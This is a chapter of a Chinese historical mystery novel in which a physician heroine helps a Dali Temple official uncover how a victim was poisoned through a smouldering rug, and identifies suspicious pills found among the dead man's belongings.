主仆三人跟着思危进了顺义门,没几步便到了大理寺前,大理寺做为执掌天下刑狱之地自是气派森严,入了衙门,一行人一路往东,没多时至一处厢房外,思危掀起帘络道:“姑娘请,公子在里面等姑娘。” 姜离挑眉而入,一进门,便见裴晏一袭月白宝象纹鹤氅正站在西窗下的书案之后,也不等她行礼,他径直道:“你过来看——” 书案上铺满了文书,姜离起疑近前,便见满桌证供皆有注释,期间还夹杂了两本旧案文书,姜离看了看,不解道:“去岁的奸杀案?” 裴晏应是,“去岁段严因此案立功升迁,但这案子起初是赵一铭在跟,为此还折了一个手下,后来被段严窃取线索抢先一步抓到了人。” 姜离迟疑道:“抢功不足以动杀心,但若加上一个手下的性命,再加上表妹宁死不愿的婚事,便极令人憎恨……” 顿了顿,她又摇头道:“但还是不够致命,后两件事说到底苦痛不在他自己身上,适才我去给孙姑娘治病,在孙府遇到了赵一铭,他去探望孙姑娘,看起来如常。” 裴晏先有些意外,又点头道:“不错,我们扫怀疑赵一铭,但问了段严身边的小厮,他们说最近小半年赵一铭和段严还算热络,并未因去岁之事生出芥蒂,哪怕孙氏要退婚,但赵一铭没帮着多劝过什么,不过——” 他眉目一肃,“他前夜撒了谎。” 下毒之法 “当夜问证,他形容的幻术中出现了‘鱼龙舞’,鱼龙舞是义阳郡上元节独有的风俗,是指灯市上百人齐舞龙灯与鱼灯,一般由官府或里正出面组织,此风俗在长安前所未见,赵一铭是长安人,未去过义阳,而当天晚上,李同尘提过鱼龙舞……” 裴晏严肃道:“李同尘在看黄龙变时,见金鱼、锦鲤嬉戏,便说看到了鱼龙舞,此时大家刚刚中毒,没见过的人,即便听到,也不会在自己幻象中看到,唯独赵一铭说他看到发着光的金鱼与黄龙起舞,就和鱼龙舞一样,此外,他形容的幻术之中,皆是神佛仙娥与享乐所见,无任何心结之人事。” 姜离明白了,“他因听到了鱼龙舞,将李世子所见拿来补自己之缺,因他想,大家看一样的幻术,他不能显得差异太大,但未想到‘鱼龙舞’乃是一出特定风俗,此毒药也会因人而异,而中毒较深后,每个人都会看到自己挂念之人,向往之事。” 裴晏点头,“正是如此,他要么有隐瞒,要么便是不曾中毒,相较之下,其他人就要正常的多——” “李同尘与父母相隔千里,已一年多未见,因牵挂父母,便在幻象中看到了他们,他想学武艺,却又吃不下哭,幻象里还出现了个飞檐走壁的罗刹,周桢父亲病重,他多次去城外的药王庙祭拜,便在幻象中看到了药王菩萨,薛湛明岁科考,白鹭山书院还供有文曲星,他便也生出文曲星幻象——” 证供就摊在书案上,裴晏并不防备她,“徐令则武艺高强,曾拜入昆山派学艺,他看到了昆山雪峰,虞梓谦看到了襄州民乱,还看到了他过世的堂姑姑。” 裴晏语速疾快,姜离没有半分准备,语气有些僵硬,“堂姑姑?” 裴晏解释道:“他母亲早逝,幼时他兄妹二人多由他堂姑姑照料,后来那府上获罪,他堂姑姑被株连,被判了斩刑……” 他说着,将虞梓谦的证供放在姜离近前,姜离目光一垂,看到了更细致的说法,虞梓谦也看到了当年广安伯府被行刑的一幕。 她心腔窒闷一瞬,“其他人再无别的错漏?” 裴晏道:“暂未发觉,他们所言意向并不特殊,没有赵一铭这般明显的破绽。” “明显……” 姜离眉心一跳,“你说的不错,赵一铭这一段古怪的确明显了些!我们都想到了亲自试药,那凶手会否也提前试药?若他知道此药药性,那他只怕已想好了如何编造的滴水不漏……” 姜离有些懊恼,“只怕要多看未解毒之前的证供。” 裴晏沉吟一瞬道:“未解毒之前,几乎每个人的证词都含糊变幻,的确不比解读后周全,差别最小的,当是徐令则,他内力修为不低,中毒不算深,再来便是周桢、赵一铭和虞梓谦,差距最大的,当属李同尘和薛湛。” 微微一顿,他又道:“证供只是其一,大理寺仵作反复验看了三遍段严的尸首,还发现了一处古怪,段严身上四处锐器伤,前两处伤口极深,后两处伤口则浅,好似凶器中途有了折损,凶器的形状极像一把双刃短匕。” 姜离微愕,“折损?现场可发现什么?” 裴晏摇头,“演台之上只有大片血迹,并无任何可疑之物。” 下毒之法,凶器,杀人之法,动机,案发已有两日,除了知道凶手定在六人之中,并未查出有效线索,姜离道:“去看证物吧——” 裴晏颔首,带着她出了门。 今日是个阴天,穹顶上铅云密布,姜离披着月白曲水竹纹斗篷跟在裴晏身后,走进一条处在风口的甬道时,姜离的斗篷瞬间被吹得鼓胀起来,寒风刀子一般割人,她吸进一口冷气,差点呛咳了出来。 她微微侧过身避风,可下一刻,风忽然消失了,转头一看,竟是裴晏挡在了她身前,他身量英武,背脊挺括,往前一立,似堵人墙,姜离拢紧斗篷,暗嗤一声,五年,裴晏到底还是有些变化,从前的他可没有这般体贴。 出了甬道,再走一段积雪未化的小径便到了存放物证的库房,守在外的武卫见礼,门一打开,便见屋内摆满了沾着血污的家居摆设。 大到露台上的桌案,小到用过的杯盏,皆被搬了回来,姜离倾身,一件一件检查,见她默不作声,裴晏问道:“孙氏大小姐因何而病?” 姜离头也不抬道:“因与段严的亲事,定亲之时段氏做足诚意,定亲之后,段严行事越发出格,孙姑娘得知便患了郁症,耽误了几月,病邪侵入脏腑,再加上她自己不存生念,便愈发病入膏肓,不过要治也不难。” 裴晏道:“这两日调查下来,段严这半年行事的确与往日大不相同,即便前夜不出事,按他之行,早晚也要出岔子——” 姜离忽而看他,“我父亲也说过类似之语。” 裴晏便道:“他去岁开始,时常流连烟花之地,常为此豪掷千金,后来,又在永安坊养外室,半年前染上赌习,曾一夜输光五千两银子,此前还欠了长禄赌坊一万多两赌债,段氏虽富庶,但今上最厌恶好赌之人,段家费了一番力气才将此事平了,然而赌瘾难戒,早晚有段氏填不平之时。” 姜离一边查验拿回来的灯烛一边道,“他花销巨大,总不是回回都问家里要。” 裴晏颔首,“正在查,但此事多半与命案关系不大。” 姜离不再多言,忽然,她盯着一张鸦青桌帷道:“怎会烧了个洞?” 登仙极乐楼的雅间桌案皆以帷幔装饰,此时却见好好的锦缎上有一个桃核大小的焦洞。 裴晏道:“是他们起兴之时,烛台被推倒引燃了桌帷,因并未起明火,一开始大家无人发觉,还是虞梓谦闻着气味才发现不对,当日中毒后,他们意识混乱碰倒了不少灯烛,除了这一张,还有另外两张地衣也被烧了。” 姜离记得,那夜入雅阁后,每一厅堂皆铺华贵地衣。 她心念一动,去翻找堆放帷幔的箱笼,不多时,翻出两张价值不菲,绣满了繁复艳丽花纹的氍毹,如裴晏所言,这两张氍毹上都有大小不一的焦洞,姜离仔细看那焦洞周围,又对着桌案或拉扯或抖弄,待几粒银尘落下,她猝然道:“我知道了!” 裴晏上前来,“怎么?” 姜离语速极快道:“我知道凶手如何下毒了,氍毹以麻毛织就,凶手只需要将毒粉洒在上面,无色无味的毒粉落入毯子间隙,谁也不会发现,再将烛台推倒引燃氍毹,那火星便会似燃香篆般焚毒蔓延,如此,毒烟便与麻毛燃烧的烟气散在了屋内!” 话音一落,她指尖捻着那几粒银尘向裴晏示意。 裴晏欺近一看,语气终于生了几分波澜,“正是毒粉——” 姜离继续道:“凶手定然十分熟悉登仙极乐楼,只是这两张毯子一模一样,可有人能记得烛台是谁推倒?” 顿了顿,她又道:“大人说虞公子发现了气味不对,那烧地衣的两次是谁灭的火呢?凶手只恨不得一点儿毒粉不剩,他绝不会来灭火。” 裴晏道:“我即刻传他们来问。” 他一声令下,大理寺武卫立刻出动,待回身时,裴晏面不改色道:“薛姑娘心细如发,请你帮忙果然无错,下毒之法已解,还剩下杀人之法。” 姜离放下氍毹,拍了拍手道:“要破解杀人之法,先要找到凶器。” 裴晏道:“你跟我来——” 裴晏命亲随拿上那两张氍毹,又带着姜离原路返回,到甬道时,又落后半步走在了姜离身后,姜离凉声道:“大人亦是细致。” 裴晏目光落在她背脊上,“薛姑娘似乎对我有何误解。” 姜离无声冷笑,“我与大人本就陌生,谈何误解?” 裴晏一阵缄默,等回了先前的厢房,将一纸验状递给了她,姜离接在手,其上正是详细的验尸记录,她仔细看下来,“伤口形状并不完全一样。” 裴晏道:“这便是适才所言折损。” 姜离踱步沉思起来,“折损……” 她缓行至窗边,目光幽幽地落在窗外的积雪上,眼风一抬,又看见了挂在屋檐之下的冰凌,她秀眉轻蹙一瞬,可很快,又摇头—— 裴晏走到她身边,“我也想过会否是冰做的武器,但登仙极乐楼内温暖如春,任何冰雕之物带入楼内不出一刻钟便会融化,而段严死时,已是他们入楼一个时辰后。” 姜离也想到了这一点,“那……” 她话语忽然一断,裴晏不明所以,顺着她的视线看向远处,下一刻,他的神色也晦暗起来。 只见不远处的回廊上走来二人,正是刚被请来的李同尘,而今日他身边还跟了个着宝蓝万字穿梅团花纹蜀锦大衫的俊逸男子,此人腰配银鱼袋,发簪白玉冠,高鼻深目,笑意风流,步履生风间,远远看到了轩窗后的二人。 李同尘随之道:“咦,薛姑娘也在,寄舟,那便是我与你说过的辛夷圣手……” 痴人李寄舟 “鹤臣,我来不碍你公务吧?” 李策笑盈盈的,人未进门声先至,他父亲是从前的江陵王,景德十七年削藩后,降为郡王衔,后父母早逝,由他承袭爵位,长安城皆称他小郡王。 他掀帘而入,姿仪清举,从容倜傥,不等裴晏答话,细长的瑞凤眼微微一眯,“辛夷圣手薛姑娘,这几日,我可是久仰大名——” 姜离紧握着那份验状,似不认得来人,裴晏在旁道:“江陵小郡王。” 姜离这才恍然,福身行礼,“小郡王。” 李策笑着摆手,李同尘从他身后窜出来,“薛姑娘,你今日怎在?” 裴晏道:“在帮忙破解凶手下毒之法。” 李策深邃的眼瞳里滑过两分亮彩,施施然走到裴晏书案边,自己给自己倒了一杯冷茶,“姑娘不仅会救死扶伤,还会破案子?” 姜离今日月白斗篷下是一袭天青万字流云纹绣裙,窗外霜雪之色映在她身上,端的是一副秀骨清像,不等她答话,裴晏先道:“此案凶手下过毒,毒物也是薛姑娘帮我们辨明,她细致敏锐,蛛丝马迹难逃她的慧眼。” 李策笑起来,称奇道:“你是怎么请动人家圣手姑娘给你出力的?我看到了除夕,陛下又该给你升官了,正好你们杨寺卿也不管事。” 裴晏之上还有个大理寺卿杨茁,但他年事已高,有心无力,自裴晏上任,小半年都在病休,李同尘笑嘻嘻的,“你们,一个在大理寺破案,一个在将作监建塔,独我清闲得很,陛下可千万别给我寻什么差事……” 李策与裴晏同岁,少时纨绔不羁,喜骑射弓马,金玉珠翠,杂艺曲律,还去学过唱戏,后来,又对建筑木工、园艺匠作生了兴致,四处拜名师学艺。 这些烧钱的喜好掏空了半个江陵郡王府的家底,但玩物丧志几年后,李策还真玩出了点名堂,他一善雕刻,可在桃核大小的羊脂玉上雕江南八景,二擅木工建造,宫里太液池畔的观云楼,便是他三年前设计督建。 他父母故去的早,景德帝待他素来宽厚,早年还忧心他不知进取,眼见他玩出了一技之长,立刻将他放去了将作监习以致用,眼下,他已升任从四品将作少监,如今正参与修建明岁为景德帝庆六十寿辰的万寿宝塔。 裴晏眉目端严道:“先说正事——” 李同尘笑意一滞,正色道:“是了,允慎的案子还没破呢,我昨日去他们府上吊唁,他母亲已经病倒了,说吧,今日问什么?” 裴晏示意思危,思危便将那两张氍毹打了开,裴晏道:“这是当日你们看幻术时,露台上铺的地衣,你还记得这地衣是怎么烧起来的吗?” 李同尘纳闷,“自然是有烛台倒地烧起来的呀。” 裴晏问:“烛台如何倒地的?” 李同尘眉头拧做一团,“当时七个人在那里,来来回回的,谁都有可能撞到烛台,我只记得有股子难闻的气味冒出来,喊了两声,便有人将火星踩灭了,好像是梓谦吧,或是一铭,真记不准了。” 李同尘本就不拘小节惯了,他看看裴晏,再看看姜离,“怎么了,允慎之死,和这毯子被烧有关吗?” 裴晏道,“凶手用此法下毒。” 李同尘惊了一跳,更绞尽脑汁回忆,但在脑海里搜刮半晌,仍是辨不分明,正在这时,外头传来武卫的声音,“大人,虞公子来了!” 姜离眉眼轻动,只见帘络一掀,一袭靛青鹤羽纹锦袍的虞梓谦走了进来,在他身后,虞梓桐一袭银红亮缎斗篷,伸进来半个脑袋,“裴大人,我可以旁听吗?” 裴晏薄唇微抿,似想将其拒之门外,但略一犹豫,他又点了头。 虞梓桐喜上眉梢,待进了门,才发现竟有这么多人,她福了福身,“小郡王怎么也在,薛姑娘也在,你们这是——” 虞氏与李策的关系,从前还算亲厚,如今却有些不远不近的,李策莞然道:“我陪着同尘来闲逛的,薛姑娘嘛,是助裴大人一臂之力的。” 虞梓桐心生好奇,走近道:“薛姑娘来验毒?” 姜离颔首,“差不多。” 虞梓桐眼珠儿微转,这边厢,裴晏已问起虞梓谦氍毹着火之事。 虞梓谦看着那毯子面露难色,“我只记得第一次着火的情形,当时黄龙变出来,我们都看的激动,齐齐走到了围栏边,没一会儿我听见喊有何气味,回头看时,便见地衣上火星烟气正冒,一支烛台正倒在那,我上前将其踩灭,并未放在心上,那第二张地衣怎么烧的,我全无印象了。” 他又仔细道:“那烛台倒地处,在段严的席案之前,烛台本也是他席上的,应该是他或者他附近之人起身走动时,袍摆将其带倒了……” 李同尘嘀咕,“他附近之人……咦那不就是我吗!那时候我还清醒着呢,可全无印象,我在他右侧,他左边坐着的,应是赵一铭吧?” 他下结论道:“那不是段严自己弄倒的,就是赵一铭弄倒的!” 这一次烛台倒地,正是凶手下了毒,姜离下意识与裴晏对视一眼,姜离问道:“赵公子当日有何异常吗?” 李同尘摇头,“没有啊……” 话音落定,他又忽然问:“不喝酒算不算?” 姜离不解,“是何原因呢?” 李同尘道:“他早年得过病,二月前又受了轻伤,当时落座时,他便说只饮茶,后来大家劝来劝去,他也只饮了半盏。” 姜离想起孙府所遇,心道赵一铭不曾撒谎,裴晏也道:“此事我知晓,两月前一伙江湖贼寇入长安,是他负责缉拿,当时的确受了伤。” 李同尘点头,“不错,听说是一伙小魔教中人!” 静听半晌的虞梓桐忍不住了,“当真是小魔教吗?可好些年了,没听说过那小魔教再作乱了,他们阁主也几年没动静了。” 李同尘被问的心虚起来,“是这么传的嘛,我也不知真假,他们那魔头该报的仇都报了,又是甲字一号通缉要犯,他哪敢自己来长安?” 见话题又扯远了,裴晏肃容道:“你二人再好好想想细节。” 李同尘收了心,又抓耳挠腮回忆,虞梓桐不敢插嘴了,却靠近姜离问:“薛姑娘,你是从江湖来的,你知道那小魔教的事吗?” 姜离微笑道:“你是说沧浪阁吗?” 虞梓桐好奇,“是啊,怎么你们江湖中人,不称他们是小魔教吗?” 姜离想了一想,“倒也有人喊……” 虞梓桐再上前半步,眼巴巴看着她,“那、那你有没有见过……那个人啊?” 见姜离迷惑,她低声道:“沈涉川啊!” 大周立朝两百余年,当年太祖打天下时,得了不少江湖豪雄相助,后来每一朝,朝廷与武林皆和睦共存,互通有无,对江湖享有盛名者,世家王侯以诚招揽,而高居庙堂者,若向往江湖逍遥,也有不少抛却高官厚禄于武林中开宗立派的。 虞梓桐所问之人,便是其中十分特殊的一位。 此人表字“涉川”,单名一个“渡”字。 十三年前,十五岁的沈涉川还是长安城人人皆知的工部侍郎公子,他是武学奇才,六岁拜入凌霄剑宗学武,十四岁便是百战榜上高手,再加他生得极潇洒俊逸,每每打马过朱雀街时,都有许多女儿家向他投花示好。 他父亲沈栋是景德十年的探花郎,更是天下皆知的治水能臣,入工部短短数年便升至侍郎之位,在他不辞辛劳下,无数被洪涝灾害侵扰的州府百姓安稳度日,可就在景德二十六年,沈栋前一年治理过的蒲州洛河决堤了…… 洛河决堤死伤百姓上万,查证后,竟牵出一桩与沈栋有关的筑堤贪腐案,沈栋被关入天牢,五日之后,重刑而亡,虽然他至死不曾认罪,但彼时站出来指证他的,皆是工部和都水监要员,指证的人多了,无需认罪也成了罪人。 沈栋死的那日,其夫人曲雪青当着沈涉川的面,一头撞死在了天牢外。 十五岁的沈涉川天崩地裂,还未替父母收尸,也被缉拿关押起来,沈栋之罪已定,连他也被判流放…… 然而谁能困住沈涉川? 即便受尽酷刑,在流放第一日沈涉川便逃了,他未曾逃远,反而返回长安,将诬陷沈栋的工部水部司郎中钱唯庸与齐晚晟斩于下值途中,后将二人的血淋淋的人头挂在了安化门上。 此二人为沈栋亲手提携,到头来,却成了谋害沈栋的帮凶。 两个五品官惨死令景德帝震怒,御令一下,神策军、金吾卫、大理寺、巡防营,数万人全城追捕沈涉川……可他又逃了。 三个月后,一个叫“沧浪阁”的门派出现在江湖上,与此同时,同样指证过沈栋的都水监使者岳刚死在了南下办差的路上。 朝堂震动,悬赏令发至武林中,因赏金丰足,成千上万的武林人士一同追杀他,小半年后,沈涉川寡不敌众落入陷阱,被赤火帮抓了住。 姜离先摇头,又道:“我便是遇见过,也不知那人是不是他啊。” 虞梓桐蹙起眉头:“原来都是真的?说那赤火帮擅制雷火,用雷火布置陷阱才抓到他,他被雷火所伤毁了脸,还受尽折磨,人哑了不说,还再也没有露过真容。” 她直叹气,“怎么能这么惨呢,当年他那般天人之姿,也不知他是不是还活着,他后来报仇杀了那么多武林中人,其他武林各派也记恨他们吧?” 姜离思忖道:“听闻当时追杀他的多是小门小派乌合之众,后来他再度脱身,虽传他修炼邪功见人就杀,但我行走江湖,倒没怎么见过亲身经历之人。” 虞梓桐微讶,“莫非都是谣传?长安人人都说他是魔头,沧浪阁是小魔教,从前还说再过两年,定比百年前的无量道更可怕,但这几年却——” “大人,周公子来了——” 正私语着,门外武卫又来通禀,二人齐齐看过去,便见周桢从外头走了进来,他今日着一袭麒麟纹圆领武袍,显然是从金吾卫衙门赶来。 与众人见了礼,裴晏同样问起氍毹着火之事,周桢愕然道:“还有这等事?我全无印象,当时人已经陷入幻象,哪里会去管地衣有没有被烧着,并且,这两个烧破的洞,和允慎之死有什么关系呢?” 他一脸茫然不似作伪,众人皆是失望。 这时李同尘道:“你怎么这么憔悴,莫非是段家为难你了?” 周桢嘴唇干裂,眼仁血丝满布,看着比前夜沧桑许多,闻言他摇头道:“说不上为难,我是因父亲的病忧心……” 此言一出,李同尘忙道:“薛姑娘在此,你不正好问问?” 周桢苦笑,“我父亲是多年的顽疾了,此前寻了城西的王老太医看诊,也一直在用他开的药,薛姑娘的规矩我知道,等哪日真要请她,我自上门看诊。” 姜离本不欲多管闲事,但见他颇守礼,她便问:“令尊之病可是肝疾?” 周桢一愣,“姑娘如何知道?” 姜离仔细看他面容,“五官乃五脏之阅,目主肝,你眼中多有血丝,眼睑与眼角色青,眼皮跳动较繁,再加上你舌紫暗,肌肤木黄,已显肝郁之症,此疾许会血亲遗传,你又说你父亲乃是多年顽疾,我便猜是更严重的肝疾。” 周桢意外道,“这是说,我也……” 姜离道:“你症结尚轻,但此疾不可纵,你去外头药铺按‘化肝煎’的方子开药,连用三日,便会轻省许多,日后忌思虑过重,忌大喜大悲。” 周桢松一口气,拱手道:“实在多谢姑娘,这几日的确多有不适。” 虞梓桐啧啧称奇,远处局外人一般的李策也饶有兴味地看着她,又问近前的李同尘,“薛姑娘是哪一年生人?” 李同尘此前刻意对李策隐瞒了年纪,眼下既问起,他轻声道:“景德十九年。” 李策一怔,“也是景德十九年?” 他眼底缓缓浮出几分审视,“听说前夜宁远候病重,天水街的张老太医直接拒诊,但人送去薛府,薛姑娘一番施针人便救了回来。” 李同尘颔首,“我也听说了,薛姑娘有如此造诣,只能解释为她天资不凡,张太医都六十几了吧……” “大人,段氏来人了——” 周桢与李同尘指望不上,裴晏便将希望放在了虞梓谦身上,正与他复盘当夜细节,门外又有武卫禀报。 裴晏有些意外,“何事?” 武卫道:“说是在府里发现了几处古怪,想请大理寺过去看看,看是否和段公子被害有关……” 裴晏走到门口,“把人领来。” 武卫应声而去,没多时,带着一个年过不惑的灰袍管事进了院门,屋内人多,裴晏出来几步,令管事单独向自己禀告。 管事切声道:“今日整理公子遗物时,我们先在公子房中发现了些奇怪的丹药,不知是毒还是什么,公子不信佛道,是从不碰这些的,后来我们清点金吾卫衙门送回来的遗物时,又发现了几本古怪的册子,记着老爷夫人完全不知的财宝名目,更要紧的是,如今这些财宝都不知去了何处……” 裴晏略一思忖,“好,我们这就去府上走一趟。” 言毕他转身入屋,对众人道:“今日先问到此处,晚些时候或许会登门拜访诸位。” 说完这些,他又郑重看向姜离,“请姑娘随我走一趟段氏。” 姜离看了眼天色,见时辰尚早便点了头。 裴晏吩咐好衙役留守,又与其他人一道朝衙门外行去,待出顺义门,各自上马车告辞,马车一辆一辆往朱雀街行去,李同尘和李策排在最后。 李策掀帘看向远处薛氏的马车,“鹤臣对薛姑娘很是信任。” 此刻已是申时,正到了李同尘的午睡时辰,他打着哈欠道:“薛姑娘医术高明啊。” 李策似笑非笑地,“是吗?” 待马车走动起来,李策放下帘络,靠着车璧,轻轻哼起了许久未曾哼过的唱段,“秋鸿折单…复难双,痴人…痴怨恨迷狂……” 裴晏之怒 段氏二房早年从段国公府分府别居,大宅坐落在朱雀街以东的长兴坊中。 马车在段府外停下时,苍穹之上铅云滚滚,吻兽屋脊上连日未化的皑皑雪色,与段氏高阔门庭挂着的缟素相映,愈显出悲切凄清。 进府门入前院,正厅相候的除了段康,还有位年轻俊逸的锦衣公子,此人长身玉立,剑眉入鬓,一双琥珀色的眸子又清又亮,看到裴晏的刹那,他“蹭”的起身,意气飞扬地迎了出来,待见裴晏身后还跟了个姑娘时,他显然诧异极了。 此人正是年方二十的段国公世子段凌。 他近前问:“师兄,这位是——” 段凌四年前拜入凌霄剑宗学艺,正是裴晏的同门师弟,裴晏道:“是薛氏大小姐。” “薛氏?”段凌先拧眉,但下一刻,他惊道:“辛夷圣手?!” 不等裴晏答话,他目光一凝,竟忽然以掌变拳朝姜离攻来,姜离皱眉欲退,身后小锦也惊然色变,但电光火石间,裴晏半步挡在了姜离身前,眼见拳势收之不及,他悬臂做挡,又翻腕一推,“砰”的一声,直令段凌连退三步—— 裴晏目生寒光,“你做什么?” 段凌趔趄着稳住身形,只觉半边身子都是麻的,他捂着肩头道:“师兄,你外出行走的少,不知江湖上众说纷纭,有人说她武功极高,有人说她医者不能自医患有重病,命不久矣,眼下我看她好好的,想试试她的身手……” 他笃定道:“我适才只用了两分力道,她又不是长安城那些娇滴滴的小娘子,啊……好痛,师兄好重的手!” 他有些委屈,裴晏眉梢却尽是冷峭,“便是江湖上也没有如此出其不意的,薛姑娘是我的客人,你规矩学哪里去了?” 辛夷圣手是江湖上响当当的人物,高手过招,难道还要彬彬有礼打个招呼,说一句“您先请”? 段凌好委屈,但他何曾见过裴晏这般模样,服软道:“是是是,是我失礼了……” 他说着对姜离一拜,“在下段凌,请姑娘原谅在下莽撞,在下这几年在外头野惯了,实在是有些没规矩了。” 姜离失笑,“不妨事,不过要令段公子失望了,其实我不会武功。” 段凌愕然,“啊?当真?” 他说着,仔仔细细打量姜离,眼见她呼吸的确与常人无二,不似内力深厚的模样,极是诧异,段康这时上前来,拱手道:“裴少卿……” 言毕看一眼姜离,“怎么带了薛姑娘来?” 裴晏面上仍是一片霜雪,硬声道:“听闻找到了些不知是毒还是药的丹丸,我便请薛姑娘前来相助。” 那夜在登仙极乐楼,正是姜离帮忙辨毒,段康便不做深问,“那请二位随我来吧。” 姜离跟在裴晏身后,段凌则跟在她身后,他步伐极轻,看得出这些年没白在凌霄剑宗学艺,没一会儿,他又将目光落在小锦身上,似在探究什么。 “这两日严儿母亲病倒,我们也没急着收拾遗物,今天早上才让他的小厮整理从衙门送回来的那些东西,结果就发现了不少古怪。” 段严说着话,领着众人穿过亭台到了段严院前,他指了指右厢,“在这里面。” 这厢房乃是段严生前的书房,此刻屋内有些杂乱,段严常用之物,皆被分门别类地收归在各处,他的贴身小厮明坤正在屋内候着。 “这是在公子寝房暗格发现的丹丸,小人平日里都没见公子吃过,因小人只伺候了公子一月,也不知道是从何处来的……” 听明坤此言,姜离不由问:“从前伺候他的人呢?” 段康哼了一声,“从前那两个蠢如猪狗,眼睁睁看着严儿堕入恶习,一个多月前,已经被打死了……” 段严是段氏二房独子,平日里虽宠溺过分,但谁都知道年纪轻轻染上赌瘾乃是自断前程,刚发现此事时,段家便治过一回,但后来段严在两个小厮的掩护下重蹈覆辙,只将段康气个仰倒,为了震慑段严,段康一气之下打死了那二人。 然而谁能想到,两月未到,段严也随之而去,段严的私隐之事只有那二人知晓,如今死无对证,段康又急于抓到凶手,这才不甘心地找来大理寺自曝家丑。 三个玉瓶拳头大小,各装丹丸,从瓶壁痕迹来看,本都是装了满瓶,姜离各倒出一粒用水化开,仔细辨认半晌,道:“赤色丹丸内有丹砂、雄黄、白矾、紫石英,还有牛黄与菟丝子,此药多有催情之效,服用后短时神明开通、体力强健,但丹砂、石英等损伤脏器,牛黄与菟丝子亦累肝肾,长用等同服毒——” 段凌拧起眉头,段康面上青红交加,“这都是从何处得来的邪物!” 这时姜离又道:“黄色丹丸内有曼陀罗、钟乳、硫磺、鹿茸、首乌,同是壮阳致幻之物,亦是慢性之毒……” 她微微一顿,“此毒余量最少。” 余量最少,便是服用最多,段康胸膛一阵起伏,一旁管家赶忙将他扶住。 三色丹丸如今还剩黑色未明,姜离仔细研磨闻看,轻嘶一声道:“这丹丸内有龙涎香、缩砂、肉豆蔻、肉桂,还有一物应是,米囊子……” 她容色一定,“不错,就是米囊子,这几味药也可兴助阳事,看似壮精益元,但丹丸内米囊子用量最大,服用此丹,会令人短期内精神焕发,头目清利,继而胸膈顿开,骨节欲酥,万念俱无,而后梦境迷离,神魂骀宕,宛入极乐……” 她凛然道:“如此,便有了种更可怕的毒性——” 裴晏反应迅速,“上瘾?” 姜离点头,“不错,一旦上瘾便难戒除,亦会损伤脏腑经络,短则几月长则年余,再精明勇武之人也会形容枯槁神识全无,犯瘾时更会癫狂无状同行尸走肉一般,此毒物发源于极东之地的扶菻国,百年前,被当时的魔教无量道带入了大周,后来魔教灭亡,此物也在大周消失,如今此物再现,只怕和致幻鼠尾草一样,要去黑市上找。” 段康倒吸一口凉气,“此等恶毒,怎么会在严儿这里?” 姜离看了看瓶内药丸,“丹丸还剩下一半,他得来的时间应该也就在这一两月,但其他两种丹丸,或许已有半载……” 段康颤声道:“我就说……我就说严儿这半年行事怎越发出格,却原来是被这些东西害的,用这些东西身心俱损,自然越发堕落了!” 他语速疾快道:“定是有人故意害他,说不定就是凶手!” 他越想越气,又指着一旁的薄册,“还有这些,严儿记了不少财宝,可他衙门的值房、外头的别院我们都派人去找了,根本没有这些东西……” 裴晏拿起薄册来看,“只有器物,没有来处去处。” 段凌凑过来看,道:“不会是他在衙门需要人情往来吧?” 段康摇头,“不会,人情往来他自会禀明,这些东西参差不齐,有的也不好拿出去做人情,他的那些手下,也都没见过这些。” 裴晏道:“许是当了。” 段康眼一瞪,“怎么可能,除非——” 除非段严还在赌。 他猛地看向明坤,明坤缩着肩背道:“但凡小人跟着的时候,公子没去过赌坊,但您知道的,公子知道小人是您的眼线,经常不许小人跟着。” 段康眼前阵阵发黑,“但、但即便是当了,那这些东西怎么来的?” 他问完,忽然意识到不对,段严如今位居金吾卫郎将之位,金吾卫负责巡查缉捕,常经手不少案子纠纷,若他利用职权谋私,那自然是谁都不敢说。 他磕绊道:“此、此事若与命案无关,倒也不必详查。” 裴晏一页一页翻看,并未言语,这边厢,姜离却在打量段严书柜上的籍册,一眼看过去,除了些常见的经史子集,兵法武学古籍,便是颇多杂戏话本。 姜离问道:“你们公子喜欢话本?” 明坤道:“不错,公子还经常请班子入府演,他还喜欢自己研究戏法,有些师父的戏法,公子一看便知是怎么回事,那夜去登仙极乐楼,也是因为那幻术师父是新来的,玩的都是新把戏,公子是第二次看,就是想看出门道,专门提前约了几位公子同行。” 姜离扬了扬眉,一时想到了从前的李策。 这边厢,裴晏收起薄册,“与命案有无关系,我们要调查之后才知道,此名册和丹丸,我们都要带走做证物。” 段康欲言又止,裴晏道:“便是查出什么,也只有大理寺和经手案子的人知晓。” 段康苦笑一下,只好应了。 时辰不早,裴晏也不多留,收起证物告辞,段康这一会儿气出了一身冷汗,便让侄儿段凌帮忙送人。 走在半路,段凌无奈道:“我这位大哥不仅亲生父母宠,连我父亲母亲也十分纵容他,没办法,我无心入朝,我父亲便对着亲侄儿疼爱有加,却没想到疼了十多年,人却被他们纵歪了,那些东西哪怕是狐朋狗友给的,可他物以类聚,他自己也愿用。” 这些话段凌不当着段康的面说,心里却是明镜儿,裴晏听着此言,眉眼间寒色淡了两分,“你若是知道什么,随时来寻我禀告,无论段严如何不堪,他如今被害,真相是一定要在几日内查个明白的,陛下也知道此事了。” 段凌立刻应是,又巴巴凑近道:“那师兄哪日有空指点我一二?” 裴晏面无表情的,“再议。” 段凌继续揉着自己肩膀道:“你还不如直接拒绝!” 将二人送出府门,裴晏看向姜离道:“此行劳烦姑娘了,我命思危送姑娘回府。” 姜离看了眼头顶黑压压的密云,“大人不必派人送,快要落雪了,还是紧着差事为妙,改日若还要辩毒,再为大人效劳。” 姜离话说的好听,拒绝却也干脆,她言毕福了福身,转身上了薛氏马车,待马车走动起来时,小锦道:“姑娘,适才段世子实在冒失,若那一下真落在姑娘身上,奴婢真是万死难赎其罪,还说自己只用了两成力,我看他分明用了五成!” 她气呼呼的,惹得姜离笑开,只见她一双桃花眼弯似月牙,目泽莹莹,灵秀独绝,便是小锦都看的一呆,她又道:“但裴大人好快的身法,他想也未想便挡在姑娘身前,倒令奴婢对他颇为改观,没那般生人勿……” 小锦不敢说下去,因姜离眯起眸子,笑意越来越危险,小锦缩了缩肩,“您、您与裴大人到底有什么恩怨啊……” 姜离笑眯眯的,“哪有什么恩怨,便是真有,那也只有怨罢了。” 小锦捂住嘴唇,嗡声道:“那奴婢往后再不说他的好话了!” 回薛府时,细如银尘的碎雪果然纷纷扬扬落了下来,刚一进府,便见如意守在门口,她上来道:“大小姐,宁远侯世子来了,等了一个时辰,还有广宁伯府上的二小姐来求医,此刻都在临风阁那边候着,早前还有威武将军安家的老夫人来,但听闻不知您何时能回来,便先走了,说是膝上的老毛病,不急在一日。” 